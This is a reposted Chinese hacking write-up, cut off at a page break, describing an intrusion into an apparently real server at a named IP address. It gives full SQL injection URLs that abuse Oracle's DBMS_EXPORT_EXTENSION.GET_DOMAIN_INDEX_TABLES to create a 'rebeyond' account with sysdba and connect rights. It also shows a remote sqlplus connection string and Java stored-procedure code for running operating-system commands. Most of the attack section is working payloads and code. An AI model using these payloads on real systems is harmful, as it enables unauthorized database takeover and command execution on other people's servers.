本文整理自网络,侵删。
结果如图500)this.width=500" title="点击这里用新窗口浏览图片" />
继续提交
select member from v$logfile where rownum=1
获得操作系统版本,如图
500)this.width=500" title="点击这里用新窗口浏览图片" />
确定是windows,下面查看服务器sid,提交select instance_name from v$instance,如图
500)this.width=500" title="点击这里用新窗口浏览图片" />
待会远程连接要用的,下面确定下主机ip,telnet 漏洞页上显示的ip地址的1521端口,为oracle的端口, ,成功,1521开放,下面就本地架设个oracle客户端,利用oracle的那些默认帐号密码登录,尝试n次均失败告终,管理员安全意思不错,表扬下!^.^
下面就利用oracle的内置函数SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES过滤不严的漏洞,至于这个函数的具体漏洞形成的原因,这里就不占篇幅了,想知道的可以去我博客,对oracle不熟悉的可以跳过这一部分,继续构造提交:
http://211.154.103.15/server2.asp?wen=四川省' and ''||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''CREATE USER REBEYOND IDENTIFIED BY REBEYOND'''';END;'';END;--','SYS',0,'1',0)=''--;
这里讲解下,and后面把函数求逻辑或然后与空比较,这样系统会先求函数值,便会执行我们构造在函数里的语句,这样就往数据库加了个用户名为rebeyond密码为rebeyond的用户,然后执行
http://211.154.103.15/server2.asp?wen=四川省' and ''||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant sysdba to rebeyond'''';END;'';END;--','SYS',0,'1',0)=''--
便把我们建的用户加为dba权限,下面赋予用户远程连接权限,提交
http://211.154.103.15/server2.asp?wen=四川省' and ''||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''GRANT CONNECT TO rebeyond'''';END;'';END;--','SYS',0,'1',0)=''--
,好了,下面远程连接!
● 峰回路转
本以为建了dba权限的用户,远程连接继续拿权限就完了,但是当我以dba身份登录时却出现这个,如图:
500)this.width=500" title="点击这里用新窗口浏览图片" />
百度了下才知道是服务器那边配置的问题,由于是服务器端的问题,一时不好解决,就暂时先用normal方式登录,连接成功,进去去权限设置那把权限能勾的都勾上,如图:
500)this.width=500" title="点击这里用新窗口浏览图片" />
因为我们毕竟是dba权限的,虽然没以dba方式登录,但是除了开关数据库,其他权限还是都有的,然后就是想办法提权拿服务器,虽然oracle不支持xp_cmdshell直接执行系统命令,但是对pl\sql的支持是非常另人激动的,因为可以通过建立java存储过程来执行命令,注意这时建完shell后要对数据库用户赋予对磁盘文件操作的权限(在sqlplus里执行):
call dbms_java.grant_permission('REBEYOND','java.io.FilePermission','c:/a.txt','read,write');
。cmd打开sqlplus(和oracle客户端一起安装的),输入sqlplus /nolog,然后输入
connect [email=rebeyond/rebeyond@(description=(address_list=(address=(protocol=tcp)(host=211.154.103.15)(port=1521)))(connect_data=(SERVICE_NAME=ORCL]rebeyond/rebeyond@(description=(address_list=(address=(protocol=tcp)(host=211.154.103.15)(port=1521)))(connect_data=(SERVICE_NAME=ORCL[/email])));
是不是用到了我们前面爆出的服务器sid呢,hoho,连接成功,下面开始执行命令,创建java存储过程,代码如下:
java存储过程:
create or replace and compile
java souRCe named "util"
as
import java.io.*;
import java.lang.*;
public class util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int RC = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
RC = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
RC = -1;
}
finally
{
return RC;
}
}
}
上一页 1 23 下一页 阅读全文
- 欢迎访问木庄网络博客
- 可复制:代码框内的文字。
- 方法:Ctrl+C。